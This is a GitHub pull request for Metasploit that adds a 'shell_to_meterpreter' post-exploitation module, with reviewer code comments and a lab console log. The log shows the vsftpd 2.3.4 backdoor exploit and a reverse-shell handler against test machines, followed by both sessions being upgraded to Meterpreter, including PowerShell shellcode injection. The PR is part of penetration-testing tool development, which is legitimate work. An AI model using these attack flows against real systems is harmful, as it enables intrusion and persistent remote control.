Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module 'Shell to Meterpreter Upgrade' #3401

Merged
merged 11 commits into from
Oct 22, 2014
Merged

Conversation

TomSellers
Copy link
Contributor

The intent of this module is to add additional functionality to the 'spawn_meterpreter' script by @jduck

Goals:

  • Add multiplatform support for 'sessions -u'
    • Currently support Windows, Linux x86/64, Linux ARM, FreeBSD, Solaris
  • Avoid writing to disk where possible while still maintaining full meterpreter feature set
  • Allow upgraded sessions to be redirected to another listener/host
  • Leave existing shell intact and functional

The first pass at this was in PR #3302 which just added functionality to the script. Due to some limitations and inconsistencies it was suggested that a module would be a better fit.

NOTE: This PR depends on landing PR #3390 'Improve reliability of have_powershell'

Methods of use:

Upgrade a single session, auto detect platform and LHOST

 sessions -u <session id>
 Example:  sessions -u 1

Upgrade multiple sessions, auto detect platforms and LHOST, use distinct mutli/handler for each. The example below upgrades sessions 1,3,5,6,7,8.

 sessions -u <session id range> 
 Example:  sessions -u 1,3,5-8

It also operates like a standard post module that provides the ability to set LHOST and LPORT. The option 'SESSION' indicates the target session, is required, and only accepts 1 value

 use post/multi/manage/shell_to_meterpreter

The following is a list of the current code's results. Each includes the starting point test exploit and shell type and then indicates the resulting meterpreter and whether or not the stage was written to disk.

  • Linux - Metasploitable 2

    exploit: exploit/unix/misc/distcc_exec
    shell: unix

    meterpreter: meterpreter x86/linux
    Disk write: yes, due to Bourne stager

    exploit: exploit/multi/misc/java_rmi_server
    shell type: java via java/shell/bind_tcp

    meterpreter: meterpreter x86/linux
    Disk write: yes, due to Bourne stager

  • Linux - Raspbian ARM6

    exploit: auxiliary/scanner/ssh/ssh_login
    shell type: linux
    meterpreter: meterpreter python/python
    Disk write: no

  • Linux - Ubuntu x86_64

    exploit: auxiliary/scanner/ssh/ssh_login
    shell type: linux
    meterpreter: meterpreter x86/linux
    Disk write: yes, due to Bourne stager

  • Windows Server 2008 R2 / 2012 R2

    exploit: exploit/windows/smb/psexec
    shell type: windows via windows/shell/reverse_tcp
    meterpreter: meterpreter x86/win32
    Disk write: No, used PowerShell to inject shellcode

  • Windows XP SP3

    exploit: exploit/windows/smb/psexec
    shell type: windows via windows/shell/reverse_tcp
    meterpreter: meterpreter x86/win32
    Disk write: yes

  • FreeBSD 10.0 (PC-BSD)

    exploit: auxiliary/scanner/ssh/ssh_login
    shell type: bsd

    meterpreter: meterpreter python/python
    Disk write: No

  • Solaris 11.1 (5.11) x86

    exploit: auxiliary/scanner/ssh/ssh_login
    shell type: solaris

    meterpreter: meterpreter python/python
    Disk write: No

Future work:

The function 'build_sessions_array' added to command_dispatcher/core.rb could be used with the sessions -k command to allow selective killing of multiple sessions. Additionally, the function could be expanded to provide session selection based on attributes. An example would be 'sessions -u shell:linux'

@TomSellers
Copy link
Contributor Author

This module includes the functionality of 'powershell_cmd_upgrade.rb' as well. CC: @Meatballs1

current_lport = j.ctx[0].datastore["LPORT"]
if lhost == current_lhost and lport == current_lport.to_i
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
conflict = true
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

why not just return true?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

yeah, if you don't care to track the number of conflicts you should either break here, or as @timwr said, just return true. I think idiomatic ruby would say use the break because it's harder to debug a method that has returns all over the place. I personally think that's lame however, but that's what the smarter-than-me people say...

Fixes based on response from @timwr and @kernelsmith.
Retested with Ubuntu and Metasploitable 2 to validate proper payload. Also tested for port conflict detection after the change.  Returning false on line 243 simplifies the if logic on line 251/252.

class Metasploit3 < Msf::Post
include Exploit::Powershell
include Post::Windows::Powershell
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

urg, this is pulling in Powershell options:

Module options (post/multi/manage/shell_to_meterpreter):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   HANDLER         true             yes       Start an Exploit Multi Handler to receive the connection
   LHOST                            no        IP of host that will receive the connection from the payload.
   LPORT           4433             no        Port for Payload to connect to.
   PERSIST         false            yes       Run the payload in a loop
   PSH_OLD_METHOD  false            yes       Use powershell 1.0
   RUN_WOW64       false            yes       Execute powershell in 32bit compatibility mode, payloads need native arch
   SESSION                          yes       The session to run this module on.

Not a blocker but a bit confusing if your upgrading a linux shell

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I have hidden these options now, the fault values are currently fine in my testing.

@timwr
Copy link
Contributor

timwr commented Jun 12, 2014

sorry for the delay! this is working great on linux and windows 7. Seems to pop up cmd.exe on windows 7 though which is not ideal.

@timwr
Copy link
Contributor

timwr commented Jun 12, 2014

Also it seems like it leaves the handler running if the upgrade fails

@TomSellers
Copy link
Contributor Author

@timwr Thanks for the feedback, I should have a chance to address and retest this weekend.

leaving aborted = nil was causing unexpected behavior when the upload failed.  Explicitly setting aborted = false by default corrects this issue.
@TomSellers
Copy link
Contributor Author

@timwr I was unable to reproduce the popup on Windows 7 Home Premium 64 bit. I tried with both the PowerShell and non-PowerShell (VBS) stagers. I tried with credentials for the currently logged in user as well as another user. Can you provide any additional information about the environment that you produced this in?

I was able to address the problem with the handler staying running after failed uploads. I reproduced the problem by disabling the PowerShell payload and enabling real time scanning with AV. This resulted in the module using the VBS cmdstager which AV picked up when it finished writing to disk.

@TomSellers
Copy link
Contributor Author

@timwr Is your Win 7 install test box in a domain or stand alone? Which version of PowerShell, if any, is installed? Was UAC extra high or low?

Thanks

@bdamele
Copy link

bdamele commented Jul 8, 2014

@TomSellers at the moment the payload types are hard-coded - can you please make it accessible to the user via the usual PAYLOAD (and respective LHOST or RHOST) variable? Thank you.

@timwr
Copy link
Contributor

timwr commented Jul 11, 2014

Sorry @TomSellers will hopefully find some time for this tomorrow! If I remember correctly it was a standalone windows 7 box with a windows/x64/shell/reverse_tcp exe payload. Will get back to you about the UAC and powershell version.

@TomSellers
Copy link
Contributor Author

Thanks @timwr FYI, things just got a bit crazy here so I won't be able to touch this now for 2 weeks so please don't rush.

@timwr
Copy link
Contributor

timwr commented Jul 12, 2014

  • Nice one - the options are hidden and the handler is stopped if the session can't be upgraded.
  • I'm not sure how to test on the Solaris and FreeBSD machines, but it works great on Windows 7 (SP1) and Metasploitable 2 (x86 linux), see below
  • I'm still seeing the cmd screen popup very quickly before disappearing on my test machine, blink and you'll miss it. Not a blocker in my opinion.
    I'm reproducing by putting a windows/shell/reverse_tcp exe on the machines desktop and running (clicking on it) it without UAC. UAC is on the default settings. Powershell is 2.0
  • As @inquisb suggested adding a payload option could be cool but complicated, also most of the time I just want a meterpreter session.
resource (metasploitable.rc)> use exploit/unix/ftp/vsftpd_234_backdoor
resource (metasploitable.rc)> set RHOST 192.168.56.102
RHOST => 192.168.56.102
resource (metasploitable.rc)> exploit -j
[*] Exploit running as background job.
msf exploit(vsftpd_234_backdoor) > 
[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)

msf exploit(vsftpd_234_backdoor) > 
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.1:55740 -> 192.168.56.102:6200) at 2014-07-12 14:55:04 +0100

msf exploit(vsftpd_234_backdoor) > 
msf exploit(vsftpd_234_backdoor) > 
msf exploit(vsftpd_234_backdoor) > resource pr3401-winupgrade.rc 
[*] Processing pr3401-winupgrade.rc for ERB directives.
resource (pr3401-winupgrade.rc)> use exploit/multi/handler
resource (pr3401-winupgrade.rc)> set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
resource (pr3401-winupgrade.rc)> set ExitOnSession false
ExitOnSession => false
resource (pr3401-winupgrade.rc)> set LHOST 192.168.56.1
LHOST => 192.168.56.1
resource (pr3401-winupgrade.rc)> set LPORT 5555
LPORT => 5555
resource (pr3401-winupgrade.rc)> exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.56.1:5555 
msf exploit(handler) > [*] Starting the payload handler...

msf exploit(handler) > 
msf exploit(handler) > 
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.56.101
[*] Command shell session 2 opened (192.168.56.1:5555 -> 192.168.56.101:49161) at 2014-07-12 14:55:21 +0100

msf exploit(handler) > 
msf exploit(handler) > sessions 

Active sessions
===============

  Id  Type           Information                                                                       Connection
  --  ----           -----------                                                                       ----------
  1   shell unix                                                                                       192.168.56.1:55740 -> 192.168.56.102:6200 (192.168.56.102)
  2   shell windows  Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation...  192.168.56.1:5555 -> 192.168.56.101:49161 (192.168.56.101)

msf exploit(handler) > sessions -u 1,2
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1, 2]

[*] Upgrading session: 1
[*] Starting exploit multi handler
[*] Started reverse handler on 192.168.56.1:4433 
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1241088 bytes) to 192.168.56.102
[*] Command Stager progress - 100.00% done (670/670 bytes)
[*] Sleeping for up 5 seconds to allow the previous handler to finish..
[*] Meterpreter session 3 opened (192.168.56.1:4433 -> 192.168.56.102:38344) at 2014-07-12 14:55:42 +0100
[*] Stopping multi/handler
[*] Upgrading session: 2
[*] Starting exploit multi handler
[*] Started reverse handler on 192.168.56.1:4433 
[*] Starting the payload handler...
[*] Sending stage (769536 bytes) to 192.168.56.101
[*] Meterpreter session 4 opened (192.168.56.1:4433 -> 192.168.56.101:49162) at 2014-07-12 14:55:54 +0100
[*] Sleeping for up 5 seconds to allow the previous handler to finish..
msf exploit(handler) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
meterpreter > background 
[*] Backgrounding session 3...
msf exploit(handler) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > getuid 
Server username: Windows-PC\Windows

end

if session_list.count > 1
print_status("Sleeping for up 5 seconds to allow the previous handler to finish..")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think you mean "Sleeping 5 seconds"

@TomSellers
Copy link
Contributor Author

@timwr Thanks to your info on your testing method have reproduced the dialog box that you noticed. It is an artifact of running module against a shell opened by an interactive user. The root cause is that the function cmd_psh_payload in powershell.rb uses %COMSPEC% /B to hide the dialog box, but /B doesn't appear to be a valid switch for CMD.exe any longer.

On March 2 @Meatballs1 [1] added 'start /min' to the command line output by cmd_psh_payload which changed the visual artifacts to just a quick icon flash on the taskbar. In my testing even this icon flash was hidden when adding the '/B' parameter to start.

For some reason @Meatballs1 changes have not made it to Kali yet and so I modified its cmd_psh_payload to add 'start /B /min' to line 153 after /C for testing.

Reference:
[1] c9a2135

case platform
when 'win'
if have_powershell?
cmd_exec(cmd_psh_payload(payload_data))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The cmd_psh_payload command will need updating to send the architecture with
cmd_psh_payload(payload.encoded, payload_instance.arch.first)

This update makes the module compatible with Meatballs' march PowerShell changes mentioned earlier (lines 112/113).  It also includes changes recommended by Timwr and about 2/3 of the issues mentioned by Rubocop.  I didn't make some of the Rubocop changes based on HD's comments in IRC that it was still being tuned to meet the project's requirements.
@TomSellers
Copy link
Contributor Author

@timwr @Meatballs1 I think i have all of the items pointed out by you two. There is still a flash on the Windows taskbar that I will address with a separate pull request. This code will only work if the framework install contain's Meatballs' powershell updates mentioned in my previous comment. These were not in my Kali install.

After the changes, I retested the session upgrades via 'session -u 8-14' against Windows 7, Windows 2008 R2, Solaris, BSD, Linux, and the Metasploitable install.

Thanks again to everyone who has taken time to test and provide feedback so far.

@TomSellers
Copy link
Contributor Author

@timwr @Meatballs1 @todb-r7 Is there anything I can do to make this a better candidate for landing?

@timwr
Copy link
Contributor

timwr commented Aug 20, 2014

This was looking great last time I checked but struggling to find time at the moment, also going on holiday soon.
Note: this pull request requires changes already landed in master to work (#3390 and #3605) which caught me off guard last time I tested it.

@kernelsmith
Copy link
Contributor

@jlee-r7 you want down on this?

MIB_testing_image

Traditionally, and since @timwr is gonna be AFK for a bit, this would seem up your alley. At least take a look since you've worked on a lot of the related functionality such as the common file api etc. Once you've reviewed, and if you haven't landed, I'll take a shot at it

@kernelsmith
Copy link
Contributor

I'm gonna assign this to @jlee-r7 and egypt if you don't land it, just assign to me

@kernelsmith
Copy link
Contributor

@jlee-r7 here's a better reference for "you want down on this?" https://www.youtube.com/watch?v=dijVbM9DpxU

@todb-r7 todb-r7 assigned timwr and unassigned jlee-r7 Oct 7, 2014
@todb-r7
Copy link

todb-r7 commented Oct 7, 2014

I'm happy to believe @timwr's testing, and besides, he has commit rights and is welcome to land this (he might not have when this PR started life). No need to block on @jlee-r7.

IOW, bump to @timwr.

@timwr
Copy link
Contributor

timwr commented Oct 9, 2014

I'm on a beach in Miami :)
I can pick this up when I'm back in two weeks

I'm happy to believe @timwr https://github.com/timwr's testing, and
besides, he has commit rights and is welcome to land this (he might not
have when this PR started life). No need to block on @jlee-r7
https://github.com/jlee-r7.

IOW, bump to @timwr https://github.com/timwr.


Reply to this email directly or view it on GitHub
#3401 (comment)
.

@timwr
Copy link
Contributor

timwr commented Oct 9, 2014

P.s apologies @TomSellers, awesome pr. This would be a great addition to
the shellshock modules.
On 9 Oct 2014 16:18, "Tim Wright" timrlw@gmail.com wrote:

I'm on a beach in Miami :)
I can pick this up when I'm back in two weeks

I'm happy to believe @timwr https://github.com/timwr's testing, and
besides, he has commit rights and is welcome to land this (he might not
have when this PR started life). No need to block on @jlee-r7
https://github.com/jlee-r7.

IOW, bump to @timwr https://github.com/timwr.


Reply to this email directly or view it on GitHub
#3401 (comment)
.

@timwr
Copy link
Contributor

timwr commented Oct 22, 2014

Processing!!

@timwr
Copy link
Contributor

timwr commented Oct 22, 2014

Working great on:

  • Windows 7 x86
  • Windows 7 x64
  • Linux x86
  • python 2/3 (on linux, but with the x86/meterpreter path disabled)

@timwr timwr merged commit 6315710 into rapid7:master Oct 22, 2014
timwr added a commit that referenced this pull request Oct 22, 2014
Merge branch 'landing-3401' into upstream-master
timwr added a commit to timwr/metasploit-framework that referenced this pull request Oct 22, 2014
hdm pushed a commit to hdm/metasploit-framework that referenced this pull request Oct 22, 2014
@kernelsmith
Copy link
Contributor

sweeeeet, thanks timwr

On Oct 22, 2014, at 2:54 PM, timwr notifications@github.com wrote:

Merged #3401.


Reply to this email directly or view it on GitHub.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

8 participants